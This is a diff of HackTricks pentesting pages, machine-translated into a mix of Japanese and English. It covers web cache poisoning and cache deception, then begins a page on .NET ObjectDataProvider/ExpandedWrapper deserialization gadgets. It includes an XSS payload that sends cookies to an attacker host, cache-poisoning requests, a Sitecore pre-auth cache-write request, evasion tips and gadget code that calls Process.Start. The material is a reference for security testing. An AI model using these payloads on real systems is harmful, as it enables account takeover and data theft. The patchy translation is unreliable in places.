+### Cache poisoning with path traversal to steal API key <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>

-[**この解説は**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` のようなURLでOpenAI APIキーを盗むことが可能だった理由を説明しています。`/share/*` に一致するものは、リクエストがウェブサーバーに到達したときにCloudflareがURLを正規化することなくキャッシュされます。
+[**This writeup explains**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) how it was possible to steal an OpenAI API key with an URL like `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` because anything matching `/share/*` will be cached without Cloudflare normalising the URL, which was done when the request reached the web server.
+
+This is also explained better in:

-これは以下でもより詳しく説明されています：

 {{#ref}}
 cache-poisoning-via-url-discrepancies.md
 {{#endref}}

-### 複数のヘッダーを使用してウェブキャッシュポイズニングの脆弱性を悪用する <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
+### 複数のヘッダを使って web cache poisoning 脆弱性を悪用する <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>

-時には、キャッシュを悪用するために**複数のキーなし入力を悪用する必要があります**。例えば、`X-Forwarded-Host`をあなたが制御するドメインに設定し、`X-Forwarded-Scheme`を`http`に設定すると、**オープンリダイレクト**を見つけることができるかもしれません。**もし**サーバーがすべての**HTTP**リクエストを**HTTPS**に**転送**し、リダイレクトのドメイン名としてヘッダー`X-Forwarded-Scheme`を使用している場合、リダイレクトによってページが指す場所を制御できます。
+場合によっては、キャッシュを悪用するために **exploit several unkeyed inputs** が必要になります。例えば、`X-Forwarded-Host` をあなたが管理するドメインに設定し、`X-Forwarded-Scheme` を `http` にすると、**Open redirect** が見つかることがあります。**If** the **server** is **forwarding** all the **HTTP** requests **to HTTPS** and using the header `X-Forwarded-Scheme` as the domain name for the redirect, you can control where the page is pointed by the redirect.
 ```html
 GET /resources/js/tracking.js HTTP/1.1
 Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
 X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
 X-Forwarded-Scheme: http
 ```
-### 限定された `Vary` ヘッダーを利用した攻撃
+### Exploiting with limited `Vary`header

-もし **`X-Host`** ヘッダーが **JSリソースを読み込むためのドメイン名** として使用されているが、レスポンスの **`Vary`** ヘッダーが **`User-Agent`** を示している場合、被害者のUser-Agentを抽出し、そのユーザーエージェントを使用してキャッシュを汚染する方法を見つける必要があります。
+もし**`X-Host`**ヘッダが**JSリソースをロードするためのドメイン名**として使用されているが、レスポンスの**`Vary`**ヘッダが**`User-Agent`**を示していることが分かったら、被害者のUser-Agentをexfiltrateし、そのuser agentを使ってキャッシュをpoisonする方法を見つける必要があります:
 ```html
 GET / HTTP/1.1
 Host: vulnerbale.net
@ -134,7 +137,9 @@ X-Host: attacker.com
 ```
 ### Fat Get

-URLとボディの両方にリクエストを含むGETリクエストを送信します。ウェブサーバーがボディのものを使用するが、キャッシュサーバーがURLのものをキャッシュする場合、そのURLにアクセスする誰もが実際にはボディのパラメータを使用します。James KettleがGithubウェブサイトで見つけた脆弱性のように:
+URL と body の両方に同じリクエストを含めた GET リクエストを送信します。  
+web server が body のほうを使い、cache server が URL のほうをキャッシュしていると、その URL にアクセスする誰もが実際には body にある parameter を使うことになります。  
+James Kettle が Github website で見つけた vuln のように:
 ```
 GET /contact/report-abuse?report=albinowax HTTP/1.1
 Host: github.com
@ -143,126 +148,143 @@ Content-Length: 22

 report=innocent-victim
 ```
-ポートスウィガーのラボについて: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get)
+There it a portswigger lab about this: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get)

-### パラメータクロッキング
+### Parameter Cloacking

-例えば、**パラメータ**をrubyサーバーで**`;`**の文字を使って**`&`**の代わりに分けることが可能です。これを利用して、キーのないパラメータの値をキーのあるものの中に入れ込み、悪用することができます。
+For example it's possible to separate **parameters** in ruby servers using the char **`;`** instead of **`&`**. This could be used to put unkeyed parameters values inside keyed ones and abuse them.

-ポートスウィガーのラボ: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking)
+Portswigger lab: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking)

-### HTTPリクエストスマグリングを悪用したHTTPキャッシュポイズニングの悪用
+### Exploiting HTTP Cache Poisoning by abusing HTTP Request Smuggling

-[HTTPリクエストスマグリングを悪用したキャッシュポイズニング攻撃の実行方法](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-poisoning)についてここで学びます。
+ここでは、[Cache Poisoning attacks by abusing HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-poisoning) を利用してどのように攻撃を行うかを学べます。

-### ウェブキャッシュポイズニングの自動テスト
+### Automated testing for Web Cache Poisoning

-[Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner)を使用して、ウェブキャッシュポイズニングを自動的にテストできます。多くの異なる技術をサポートしており、高度にカスタマイズ可能です。
+[Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner) は、web cache poisoning の自動テストに使えます。多くの手法をサポートしており、高度にカスタマイズ可能です。

-使用例: `wcvs -u example.com`
+Example usage: `wcvs -u example.com`

-### ヘッダーリフレクションXSS + CDN/WAF支援キャッシュシーディング（User-Agent、自動キャッシュされた.js）
+### Header-reflection XSS + CDN/WAF-assisted cache seeding (User-Agent, auto-cached .js)

-この実世界のパターンは、ヘッダーに基づくリフレクションプリミティブとCDN/WAFの動作を組み合わせて、他のユーザーに提供されるキャッシュされたHTMLを確実にポイズンします：
+実際の事例では、ヘッダ反射の脆弱性と CDN/WAF の挙動を組み合わせることで、他のユーザに提供されるキャッシュされた HTML を確実に汚染するパターンが観測されます:

- メインHTMLは信頼できないリクエストヘッダー（例：`User-Agent`）を実行可能なコンテキストに反映しました。
- CDNはキャッシュヘッダーを削除しましたが、内部/オリジンキャッシュが存在しました。CDNはまた、静的拡張子（例：`.js`）で終わるリクエストを自動的にキャッシュしましたが、WAFは静的アセットのGETに対して弱いコンテンツ検査を適用しました。
- リクエストフローの特異性により、`.js`パスへのリクエストが次のメインHTMLに使用されるキャッシュキー/バリアントに影響を与え、ヘッダーリフレクションを介してクロスユーザーXSSを可能にしました。
+- メインの HTML が信頼できないリクエストヘッダ（例: `User-Agent`）を実行可能なコンテキストに反映していた。
+- CDN が cache ヘッダを削除していたが、内部／origin 側にキャッシュが存在した。CDN は静的拡張子で終わるリクエスト（例: `.js`）を自動でキャッシュし、WAF は静的アセットに対する GET に対してより緩いコンテンツ検査を適用していた。
+- リクエストフローの特異性により、`.js` パスへのリクエストが後続のメイン HTML に使われるキャッシュキー／バリアントに影響を与え、header reflection を介したクロスユーザ XSS を可能にしていた。

-実用的なレシピ（人気のあるCDN/WAFで観察された）：
+Practical recipe (observed across a popular CDN/WAF):

-1) クリーンなIPから（以前の評判に基づくダウングレードを避けるため）、ブラウザまたはBurp Proxy Match & Replaceを介して悪意のある`User-Agent`を設定します。
-2) Burp Repeaterで、2つのリクエストのグループを準備し、「グループを並行して送信」を使用します（シングルパケットモードが最適です）：
- 最初のリクエスト：同じオリジンの`.js`リソースパスをGETし、悪意のある`User-Agent`を送信します。
- すぐに：メインページ（`/`）をGETします。
-3) CDN/WAFのルーティングレースと自動キャッシュされた`.js`が、同じキャッシュキー条件（例：同じ`Vary`次元の`User-Agent`）を共有する他の訪問者に提供されるポイズンされたキャッシュHTMLバリアントをシードすることがよくあります。
+1) クリーンな IP から（以前のレピュテーションによる扱い下げを避けるため）、ブラウザまたは Burp Proxy Match & Replace を使って悪意ある `User-Agent` を設定する。  
+2) Burp Repeater で 2 つのリクエストを準備し、"Send group in parallel"（single-packet mode が最適）を使う:
+- 最初のリクエスト: 同一オリジン上の `.js` リソースパスに対して、悪意ある `User-Agent` を送って GET する。
+- 直後に: メインページ（`/`）を GET する。
+3) CDN/WAF のルーティングレースと auto-cached `.js` により、汚染された HTML のキャッシュバリアントがシードされ、同じキャッシュキー条件（例: `Vary` の次元が同じ、`User-Agent` 等）を共有する他の訪問者に対して配信されることが多い。

-例のヘッダーペイロード（HttpOnlyでないクッキーを抽出するため）：
+Example header payload (to exfiltrate non-HttpOnly cookies):
 ```
 User-Agent: Mo00ozilla/5.0</script><script>new Image().src='https://attacker.oastify.com?a='+document.cookie</script>"
 ```
-運用のヒント:
+Operational tips:

- 多くのCDNはキャッシュヘッダーを隠します; 毒性があるように見えるのは、数時間ごとのリフレッシュサイクルのみです。複数の視点IPを使用し、レート制限や評判トリガーを避けるためにスロットルをかけてください。
- CDNの自社クラウドからのIPを使用すると、ルーティングの一貫性が向上することがあります。
- 厳格なCSPが存在する場合でも、反射がメインHTMLコンテキストで実行され、CSPがインライン実行を許可するか、コンテキストによってバイパスされる場合は、これが機能します。
+- 多くの CDN はキャッシュヘッダーを隠すため、poisoning は数時間単位のリフレッシュサイクルでしか現れないことがあります。レートリミットやレピュテーショントリガーを避けるため、複数の観測ポイントとなる IP を使用し、スロットルしてください。
+- CDN の自前のクラウド上の IP を使うと、ルーティングの一貫性が改善されることがあります。
+- 厳格な CSP が存在する場合でも、reflection がメインの HTML コンテキストで実行され、CSP がインライン実行を許可するかコンテキストでバイパスされる場合は動作します。

-影響:
+Impact:

- セッションクッキーが`HttpOnly`でない場合、ゼロクリックATOが可能で、毒されたHTMLを提供されるすべてのユーザーから`document.cookie`を大量に抽出することができます。
+- セッションCookieが `HttpOnly` でない場合、poisoned HTML が配信されたすべてのユーザーから `document.cookie` を大量に窃取することで、zero-click ATO が可能になります。

-防御策:
+Defenses:

- リクエストヘッダーをHTMLに反映させるのをやめてください; 避けられない場合は厳密にコンテキストエンコードしてください。CDNとオリジンのキャッシュポリシーを整合させ、信頼できないヘッダーでの変動を避けてください。
- WAFが`.js`リクエストと静的パスに対して一貫してコンテンツ検査を適用することを確認してください。
- セッションクッキーに`HttpOnly`（および`Secure`、`SameSite`）を設定してください。
+- リクエストヘッダーを HTML に反映するのをやめてください。どうしても必要な場合は厳密にコンテキストエンコードしてください。CDN と origin のキャッシュポリシーを整合させ、信頼できないヘッダーでバリアントさせないようにしてください。
+- WAF が `.js` リクエストや静的パスに対して一貫してコンテンツ検査を適用することを確認してください。
+- セッションCookieに `HttpOnly`（および `Secure`, `SameSite`）を設定してください。
+
+### Sitecore pre‑auth HTML cache poisoning (unsafe XAML Ajax reflection)
+
+Sitecore‑specific なパターンにより、pre‑auth XAML ハンドラと AjaxScriptManager の reflection を悪用して HtmlCache への未認証の書き込みが可能になります。`Sitecore.Shell.Xaml.WebControl` ハンドラに到達すると、`xmlcontrol:GlobalHeader`（`Sitecore.Web.UI.WebControl` から派生）が利用可能になり、次の reflective call が許可されます:
+```
+POST /-/xaml/Sitecore.Shell.Xaml.WebControl
+Content-Type: application/x-www-form-urlencoded
+
+__PARAMETERS=AddToCache("key","<html>…payload…</html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1
+```
+This writes arbitrary HTML under an attacker‑chosen cache key, enabling precise poisoning once cache keys are known.
+
+For full details (cache key construction, ItemService enumeration and a chained post‑auth deserialization RCE):
+
+{{#ref}}
+../../network-services-pentesting/pentesting-web/sitecore/README.md
+{{#endref}}

 ## 脆弱な例

 ### Apache Traffic Server ([CVE-2021-27577](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27577))

-ATSはURL内のフラグメントを削除せずに転送し、ホスト、パス、クエリのみを使用してキャッシュキーを生成しました（フラグメントを無視）。したがって、リクエスト`/#/../?r=javascript:alert(1)`はバックエンドに`/#/../?r=javascript:alert(1)`として送信され、キャッシュキーにはペイロードが含まれていませんでした。
+ATS は URL 内の fragment を削除せずに転送し、cache key を host, path, query のみで生成していました（fragment を無視）。そのためリクエスト `/#/../?r=javascript:alert(1)` はバックエンドに `/#/../?r=javascript:alert(1)` として送信されましたが、cache key には payload が含まれず、host, path, query のみが使用されました。

 ### GitHub CP-DoS

-content-typeヘッダーに不正な値を送信すると、405キャッシュレスポンスがトリガーされました。キャッシュキーにはクッキーが含まれていたため、認証されていないユーザーのみを攻撃することが可能でした。
+content-type header に悪い値を送ると 405 の cached response が発生しました。cache key に cookie が含まれていたため、攻撃は未認証ユーザに限定されました。

 ### GitLab + GCP CP-DoS

-GitLabは静的コンテンツを保存するためにGCPバケットを使用しています。**GCPバケット**は**ヘッダー`x-http-method-override`**をサポートしています。したがって、ヘッダー`x-http-method-override: HEAD`を送信し、キャッシュを毒して空のレスポンスボディを返すことが可能でした。また、`PURGE`メソッドもサポートされていました。
+GitLab は静的コンテンツの保存に GCP buckets を使っています。**GCP Buckets** は **header `x-http-method-override`** をサポートしているため、`x-http-method-override: HEAD` を送って cache を空のレスポンスボディに poison することが可能でした。`PURGE` メソッドもサポートされていました。

 ### Rack Middleware (Ruby on Rails)

-Ruby on Railsアプリケーションでは、Rackミドルウェアがよく利用されます。Rackコードの目的は、**`x-forwarded-scheme`**ヘッダーの値をリクエストのスキームとして設定することです。ヘッダー`x-forwarded-scheme: http`が送信されると、同じ場所への301リダイレクトが発生し、そのリソースに対してサービス拒否（DoS）を引き起こす可能性があります。さらに、アプリケーションは`X-forwarded-host`ヘッダーを認識し、ユーザーを指定されたホストにリダイレクトする可能性があります。この動作により、攻撃者のサーバーからJavaScriptファイルが読み込まれ、セキュリティリスクが生じる可能性があります。
+Ruby on Rails アプリケーションでは Rack middleware がよく使われます。Rack コードは **`x-forwarded-scheme`** ヘッダの値を取得してリクエストの scheme に設定します。`x-forwarded-scheme: http` を送ると同じ場所へ 301 リダイレクトが発生し、そのリソースに対する Denial of Service (DoS) を引き起こす可能性があります。さらに、アプリケーションが `X-forwarded-host` ヘッダを認識して指定されたホストへリダイレクトする場合、攻撃者のサーバから JavaScript ファイルを読み込ませることができ、セキュリティリスクとなります。

-### 403とストレージバケット
+### 403 と Storage Buckets

-Cloudflareは以前、403レスポンスをキャッシュしていました。誤ったAuthorizationヘッダーでS3またはAzure Storage Blobsにアクセスしようとすると、403レスポンスがキャッシュされました。Cloudflareは403レスポンスのキャッシュを停止しましたが、この動作は他のプロキシサービスにまだ存在する可能性があります。
+Cloudflare は以前 403 レスポンスをキャッシュしていました。S3 や Azure Storage Blobs に対して誤った Authorization ヘッダでアクセスを試みると 403 レスポンスが返り、それがキャッシュされました。Cloudflare は現在 403 レスポンスのキャッシュを停止していますが、他のプロキシサービスでは同様の挙動が残っている場合があります。

-### キー付きパラメータの注入
+### Injecting Keyed Parameters

-キャッシュはしばしばキャッシュキーに特定のGETパラメータを含めます。たとえば、FastlyのVarnishはリクエストの`size`パラメータをキャッシュしました。しかし、パラメータのURLエンコードされたバージョン（例:`siz%65`）が誤った値で送信された場合、キャッシュキーは正しい`size`パラメータを使用して構築されます。しかし、バックエンドはURLエンコードされたパラメータの値を処理します。2番目の`size`パラメータをURLエンコードすると、キャッシュによって省略されますが、バックエンドによって利用されます。このパラメータに0の値を割り当てると、キャッシュ可能な400 Bad Requestエラーが発生しました。
+キャッシュはしばしば特定の GET パラメータを cache key に含めます。例えば Fastly の Varnish はリクエストの `size` パラメータをキャッシュしました。しかし、パーセントエンコードされた同じパラメータ（例: `siz%65`）を誤った値で送ると、cache key は正しい `size` パラメータを使って構築される一方で、バックエンドは URL エンコードされたパラメータの値を処理します。2つ目の `size` パラメータを URL エンコードすると cache からは無視されるがバックエンドで使われるようになり、このパラメータに 0 を割り当てるとキャッシュ可能な 400 Bad Request エラーが発生しました。

-### ユーザーエージェントルール
+### User Agent Rules

-一部の開発者は、FFUFやNucleiのような高トラフィックツールのユーザーエージェントに一致するリクエストをブロックしてサーバーの負荷を管理します。皮肉なことに、このアプローチはキャッシュの毒性やDoSなどの脆弱性を引き起こす可能性があります。
+一部の開発者は FFUF や Nuclei のような高トラフィックツールに似た user-agent をブロックしてサーバ負荷を抑えようとします。皮肉なことに、このアプローチは cache poisoning や DoS といった脆弱性を招くことがあります。

-### 不正なヘッダーフィールド
+### Illegal Header Fields

-[RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230)は、ヘッダー名における許可される文字を指定しています。指定された**tchar**範囲外の文字を含むヘッダーは、理想的には400 Bad Requestレスポンスをトリガーするべきです。実際には、サーバーはこの標準に常に従うわけではありません。注目すべき例はAkamaiであり、無効な文字を含むヘッダーを転送し、`cache-control`ヘッダーが存在しない限り、400エラーをキャッシュします。不正な文字（例:`\`）を含むヘッダーを送信すると、キャッシュ可能な400 Bad Requestエラーが発生するという悪用可能なパターンが特定されました。
+[https://datatracker.ietf.mrg/doc/html/rfc7230](https://datatracker.ietf.mrg/doc/html/rfc7230) はヘッダ名で許容される文字を定めています。指定の **tchar** 範囲外の文字を含むヘッダは本来 400 Bad Request を返すべきですが、実際のサーバは常にこの標準に従うわけではありません。顕著な例として Akamai があり、無効な文字を含むヘッダを転送し、`cache-control` ヘッダが存在しない限り 400 エラーをキャッシュしてしまいます。例えば `\` のような不正文字を含むヘッダを送るとキャッシュ可能な 400 Bad Request エラーになるというパターンが確認されました。

-### 新しいヘッダーの発見
+### Finding new headers

 [https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6](https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6)

-## キャッシュの欺瞞
+## Cache Deception

-キャッシュの欺瞞の目的は、クライアントに**機密情報を持つリソースをキャッシュに保存させること**です。
+The goal of Cache Deception is to make clients **load resources that are going to be saved by the cache with their sensitive information**.

-まず、**拡張子**（.css、.js、.pngなど）は通常**キャッシュに保存されるように**設定されています。したがって、`www.example.com/profile.php/nonexistent.js`にアクセスすると、キャッシュはおそらくレスポンスを保存します。なぜなら、`.js`の**拡張子**を見ているからです。しかし、**アプリケーション**が_ www.example.com/profile.php_に保存された**機密**ユーザーコンテンツでリプレイしている場合、他のユーザーからそのコンテンツを**盗む**ことができます。
+まず、`.css`, `.js`, `.png` 等の拡張子は通常キャッシュに保存されるよう**設定**されていることが多い点に注意してください。したがって `www.example.com/profile.php/nonexistent.js` にアクセスすると、拡張子が `.js` と見なされるためレスポンスがキャッシュされる可能性があります。しかし、もしアプリケーションが _www.example.com/profile.php_ の中に保存された**機密**ユーザ内容を返している場合、他のユーザの機密情報を **盗む** ことが可能になります。

-他にテストすること:
+他に試すべきもの:

 - _www.example.com/profile.php/.js_
 - _www.example.com/profile.php/.css_
 - _www.example.com/profile.php/test.js_
 - _www.example.com/profile.php/../test.js_
 - _www.example.com/profile.php/%2e%2e/test.js_
- _あまり知られていない拡張子（例: `.avif`）を使用する_
+- _Use lesser known extensions such as_ `.avif`

-非常に明確な例は、この書き込みに見つけることができます: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712)。\
-この例では、_http://www.example.com/home.php/non-existent.css_のような存在しないページを読み込むと、_http://www.example.com/home.php_（**ユーザーの機密情報を含む**）の内容が返され、キャッシュサーバーが結果を保存することが説明されています。\
-その後、**攻撃者**は自分のブラウザで_http://www.example.com/home.php/non-existent.css_にアクセスし、以前にアクセスしたユーザーの**機密情報**を観察できます。
+より明確な例はこのレポートにあります: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).\
+その例では、_http://www.example.com/home.php/non-existent.css_ のような存在しないページを読み込むと、_http://www.example.com/home.php_（**ユーザの機密情報を含む**）の内容が返され、キャッシュサーバがその結果を保存することが説明されています。\
+その後、**attacker** は自分のブラウザで _http://www.example.com/home.php/non-existent.css_ にアクセスし、以前にアクセスしたユーザの **機密情報** を観察することができます。

-**キャッシュプロキシ**は、ファイルの**拡張子**（_.css_）に基づいてファイルを**キャッシュ**するように**設定されるべき**であり、コンテンツタイプに基づいてはなりません。例として_http://www.example.com/home.php/non-existent.css_は、_.css_ファイルに期待される`text/css` MIMEタイプの代わりに`text/html`コンテンツタイプを持ちます。
+cache proxy がファイルの拡張子（_.css_）に基づいてファイルを **cache** するように **設定**されており、content-type ではなく拡張子で判断している必要がある点に注意してください。例では _http://www.example.com/home.php/non-existent.css_ の content-type は `text/html` であり `text/css` ではありません。

-ここで、[HTTPリクエストスムージングを悪用したキャッシュの欺瞞攻撃の実行方法](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception)について学びましょう。
+HTTP Request Smuggling を利用して Cache Deceptions を実行する方法については次を参照してください: [ Cache Deceptions attacks abusing HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception).

 ## 自動ツール

- [**toxicache**](https://github.com/xhzeem/toxicache): URLのリストでウェブキャッシュ毒性脆弱性を見つけ、複数の注入技術をテストするためのGolangスキャナー。
+- [**toxicache**](https://github.com/xhzeem/toxicache): Golang スキャナ。URL リストから web cache poisoning の脆弱性を発見し、複数の注入手法をテストします。

-## 参考文献
+## 参考

 - [https://portswigger.net/web-security/web-cache-poisoning](https://portswigger.net/web-security/web-cache-poisoning)
 - [https://portswigger.net/web-security/web-cache-poisoning/exploiting#using-web-cache-poisoning-to-exploit-cookie-handling-vulnerabilities](https://portswigger.net/web-security/web-cache-poisoning/exploiting#using-web-cache-poisoning-to-exploit-cookie-handling-vulnerabilities)
@ -272,6 +294,7 @@ Cloudflareは以前、403レスポンスをキャッシュしていました。
 - [https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/](https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/)
 - [How I found a 0-Click Account takeover in a public BBP and leveraged it to access Admin-Level functionalities](https://hesar101.github.io/posts/How-I-found-a-0-Click-Account-takeover-in-a-public-BBP-and-leveraged-It-to-access-Admin-Level-functionalities/)
 - [Burp Proxy Match & Replace](https://portswigger.net/burp/documentation/desktop/tools/proxy/match-and-replace)
+- [watchTowr Labs – Sitecore XP cache poisoning → RCE](https://labs.watchtowr.com/cache-me-if-you-can-sitecore-experience-platform-cache-poisoning-to-rce/)


 {{#include ../../banners/hacktricks-training.md}}
--- a/src/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md
+++ b/src/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md
@ -2,37 +2,37 @@

 {{#include ../../banners/hacktricks-training.md}}

-この投稿は、**ObjectDataProvider ガジェットがどのように悪用されるかを理解すること**と、**Json.Net と xmlSerializer のシリアライゼーションライブラリがそのガジェットでどのように悪用されるか**に捧げられています。
+この投稿は、gadget ObjectDataProvider がどのように悪用されて RCE を取得するか、そして Serialization ライブラリ Json.Net と xmlSerializer がその gadget とともにどのように悪用できるかを理解することに捧げられています。

-## ObjectDataProvider ガジェット
+## ObjectDataProvider Gadget

-ドキュメントから: _ObjectDataProvider クラスは、バインディングソースとして使用できるオブジェクトをラップし、作成します。_\
-そうですね、奇妙な説明ですので、このクラスが何を持っているのか見てみましょう: このクラスは、**任意のオブジェクトをラップする**ことを可能にし、_**MethodParameters**_を使用して**任意のパラメータを設定し、**その後、**MethodNameを使用して任意の関数を呼び出す**ことができます。\
-したがって、任意の**オブジェクト**は、**デシリアライズされる際に**、**パラメータ**を持つ**関数**を**実行**します。
+ドキュメントによると：_the ObjectDataProvider Class Wraps and creates an object that you can use as a binding source_.\
+うーん、説明は分かりにくいので、このクラスの何がそんなに興味深いのか見ていきましょう：このクラスは任意のオブジェクトを**ラップ**し、_**MethodParameters**_ を使って**任意のパラメータを設定**し、そして _**MethodName**_ を使って、その任意のオブジェクトの任意の関数をそのパラメータで**呼び出す**ことを可能にします。\
+つまり、任意の **オブジェクト** はデシリアライズ中に**パラメータ付きで関数を実行する**ことになります。

-### **これはどのように可能か**
+### **How is this possible**

-**System.Windows.Data** 名前空間は、`C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF` の **PresentationFramework.dll** 内で定義および実装されています。
+**System.Windows.Data** 名前空間は、`C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF` にある **PresentationFramework.dll** 内にあり、ObjectDataProvider が定義および実装されている場所です。

-[**dnSpy**](https://github.com/0xd4d/dnSpy) を使用すると、私たちが興味のあるクラスの**コードを検査**できます。以下の画像では、**PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> メソッド名**のコードを見ています。
+[**dnSpy**](https://github.com/0xd4d/dnSpy) を使えば、興味のあるクラスの **コードを調査**できます。下の画像では **PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Method name** のコードを見ています。

 ![](<../../images/image (427).png>)

-`MethodName` が設定されると `base.Refresh()` が呼び出されるのが観察できます。これが何をするのか見てみましょう:
+ご覧の通り、`MethodName` が設定されると `base.Refresh()` が呼ばれます。ではこれが何をするのか見てみましょう:

 ![](<../../images/image (319).png>)

-では、`this.BeginQuery()` が何をするのかを見続けましょう。`BeginQuery` は `ObjectDataProvider` によってオーバーライドされており、これがその動作です:
+次に `this.BeginQuery()` が何をするのか見ていきます。`BeginQuery` は `ObjectDataProvider` によってオーバーライドされており、以下のようになっています:

 ![](<../../images/image (345).png>)

-コードの最後で `this.QueryWorke(null)` が呼び出されていることに注意してください。これが何を実行するのか見てみましょう:
+コードの最後で `this.QueryWorke(null)` を呼んでいることに注意してください。これが何を実行するのか見てみましょう:

 ![](<../../images/image (596).png>)

-これは `QueryWorker` 関数の完全なコードではありませんが、興味深い部分を示しています: コードは **`this.InvokeMethodOnInstance(out ex);`** を呼び出します。これは**メソッドセットが呼び出される**行です。
+これは `QueryWorker` 関数の完全なコードではありませんが、興味深い部分を示しています：コードは **`this.InvokeMethodOnInstance(out ex);` を呼び出しており、ここが**メソッドが実行される**行です。**

-_**MethodName**_**を設定するだけで実行されることを確認したい場合は、このコードを実行できます:
+もし単に _**MethodName**_ を設定するだけでそれが実行されることを確認したいなら、以下のコードを実行できます:
 ```java
 using System.Windows.Data;
 using System.Diagnostics;
@ -52,16 +52,16 @@ myODP.MethodName = "Start";
 }
 }
 ```
-注意: `System.Windows.Data`をロードするには、_C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll_ を参照として追加する必要があります。
+Note that you need to add as reference _C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll_ in order to load `System.Windows.Data`

 ## ExpandedWrapper

-前述のエクスプロイトを使用すると、**オブジェクト**が_**ObjectDataProvider**_インスタンスとして**デシリアライズされる**ケースがあります（例えば、DotNetNukeの脆弱性では、XmlSerializerを使用してオブジェクトが`GetType`を使用してデシリアライズされました）。そのため、_ObjectDataProvider_インスタンスにラップされているオブジェクトの型（例えば`Process`）について**知識がありません**。DotNetNukeの脆弱性についての詳細は[こちら](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1)で確認できます。
+前述のエクスプロイトを使用すると、**オブジェクト**が _**ObjectDataProvider**_ インスタンスとして**デシリアライズされる**場合があります（例えば DotNetNuke vuln では、XmlSerializer を使用してオブジェクトが `GetType` によりデシリアライズされました）。その場合、_ObjectDataProvider_ インスタンス内にラップされているオブジェクトの型（例えば `Process`）について**情報を持たない**ことになります。You can find more [information about the DotNetNuke vuln here](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1).

-このクラスは、特定のインスタンスにカプセル化されたオブジェクトのオブジェクト型を**指定する**ことを可能にします。したがって、このクラスはソースオブジェクト（_ObjectDataProvider_）を新しいオブジェクト型にカプセル化し、必要なプロパティ（_ObjectDataProvider.MethodName_および_ObjectDataProvider.MethodParameters_）を提供するために使用できます。\
-これは、前述のケースのように非常に便利です。なぜなら、**_ObjectDataProvider**_を**_**ExpandedWrapper**_インスタンス内に**ラップ**し、**デシリアライズされると**このクラスが**_**OjectDataProvider**_オブジェクトを**作成**し、_**MethodName**_で示された**関数**を**実行**するからです。
+このクラスは、特定のインスタンス内にカプセル化されているオブジェクトの型を**指定する**ことを可能にします。したがって、このクラスはソースオブジェクト（_ObjectDataProvider_）を新しいオブジェクト型にカプセル化し、必要なプロパティ（_ObjectDataProvider.MethodName_ と _ObjectDataProvider.MethodParameters_）を提供するために使用できます。\
+これは前述のケースで非常に有用です。なぜなら、_ObjectDataProvider_ を _ExpandedWrapper_ インスタンス内にラップでき、デシリアライズ時にこのクラスが _**OjectDataProvider**_ オブジェクトを生成して、_**MethodName**_ で指定された関数を実行するからです。

-次のコードでこのラッパーを確認できます:
+You can check this wrapper with the following code:
 ```java
 using System.Windows.Data;
 using System.Diagnostics;
@ -85,11 +85,11 @@ myExpWrap.ProjectedProperty0.MethodName = "Start";
 ```
 ## Json.Net

